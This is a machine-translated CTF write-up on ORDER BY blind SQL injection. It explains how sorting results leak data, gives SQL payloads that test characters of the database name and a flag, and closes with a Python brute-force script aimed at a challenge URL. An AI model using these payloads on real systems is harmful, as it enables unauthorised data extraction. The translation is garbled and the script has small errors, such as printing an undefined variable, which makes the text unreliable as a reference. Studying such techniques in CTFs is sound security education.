CTF SQL order by blind annotation

Time:2020-9-29

This paper only discusses the order by blind injection, which is not covered by this paper.

Let’s take a look at the contents of the tables used in this article, as shown in the following figure:

Next, let’s take a look at the basics of order by

Order by clause

effect: sort the results returned by a query by one or more columns.

Grammatical format:ORDER BY {column_name [ASC|DASC]}[,…n]

be carefulThe: order by statement sorts the records in ascending order by default

The effect is as follows:

Thinking 1: the difference between the following two SQL statements? How will the query results be arranged?

1、select * from user order by username,password desc;(order by 2,3 desc)
2、select * from user order by username;	      (order by 2)

The first permutation result is as follows:

The results of the second arrangement are as follows:

Conclusion

From the above sorting results, we can see that:

1. If you sort by string in a column, it is sorted by the first letter of the string by its position in the 26 alphabet.
2. If there are more than one parameter after order by, the first parameter will be sorted first. If there are duplicate parameters in the first parameter (as demonstrated above, admin repeats), the repeated ones will be sorted according to the second parameter

Thinking 2: are the following two query methods equivalent? Why?

1、select * from user order by id|2;   
2、select * from user order by 1|2;

The first permutation result is as follows:

The results of the second arrangement are as follows:

Conclusion
Non equivalence

The reasons are as follows:

Let’s first look at the effect of this sentence

select id|2 from user;

select * from user order by 1|2;

I believe you will find the law through this:

Order by ID | 2 means that every number in ID is “and” with 2, 1|2 = 3, 2 | 2 = 2, 3 | 2 = 3, 6 | 2 = 6, and then sort according to the data after the “and” operation, that is 2336, and then it will become the first order. However, if 1 | 2 is both 3, the default query order will be followed instead of sorting.

Thinking 3: if you don’t know the column name, you can use the column number to refer to the corresponding column, but can you use the column number to do the operation?

1、select * from user order by 1;
2、select * from user order by 1+1;
3、select * from user order by 3+1;
4、select * from user order by (1+1);
5、select * from user order by (3+1);

Due to the space, only partial queries are made here:

Conclusion
You will find that the sorting results of the above statements are the same, which means that if you don’t know the column name, you can refer to the corresponding column by the column number, but you can’t do the sort after the above addition or subtraction.

Order by blind note:

According to different column sorting, different results will be returned, so here we can use the form of bool type blind injection to inject, even if the judgment result is related to some returned content, to realize injection.
(i.e. the so-called order by blind annotation is to judge whether the injection statement has been successfully executed based on the sorting results, so as to perform violent guessing)% E6% B5% 85% E6% 98% 93% E6% B7% B1

be careful:
Order by can be sorted according to multiple columns. Therefore, the injected statement is not necessarily limited to the first parameter, and a new column can also be injected through a comma. However, to use the parameter after the comma, it must be repeated after the previous parameter is sorted.

Here are some order by statements for reference:

select * from user order by id|(if(substr(database(),1,1)='a',2,3));
When the first letter of the current database name is a, ID and 2 'and', otherwise it is 3 'and'. (resulting in two different orders)
select * from user order by id|(if(substr(select flag from CTF),1,1)='a',2,3));
When the first letter of flag field in table CTF is a, ID and 2 'and', otherwise, 3 'and'. (resulting in two different orders)
select * from user order by id|{select (select flag from level1_flag) regexp payload}
Flag matches successfully with 1 and, failed with 0 and. (resulting in two different orders)

The following is a python script for blind annotation of order by

import requests
#Define a "range" for a flag value
dic = "1[email protected]#$%^&*"
#It is not defined as null, but "^" to match from scratch
flag = "^"
#For the target URL, first pass "| 1", and obtain the arrangement content of its data as a benchmark for comparison
url1 = "https://chall.tasteless.eu/level1/index.php?dir=|1"
content1 = requests.get(url1).content
#The length of the flag is defined as 50 characters
for i in range(50):
    #Take 1 character one by one from the defined DIC to piece together the payload
    for letter in dic:
        payload = flag + letter
        #The last "} 2B1" -- > "} + 1"
        url2 = "https://chall.tasteless.eu/level1/index.php?dir=|{select (select flag from level1_flag) regexp "+"'"+ payload +"'"+"}%2b1"
        print(url)
        #Get the permutation content after actual injection
        content2 = requests.get(url2).content
        #If it is not equal, it is the flag content (why it is not equal, not equal, because there is "+ 1" at the end of URL2, that is, if the matching is successful, it is "? Dir = | 2"; if the matching is unsuccessful, it is "? Dir = | 1")
        if(content1 != content2):
            flag = payload
            print(flag)
            break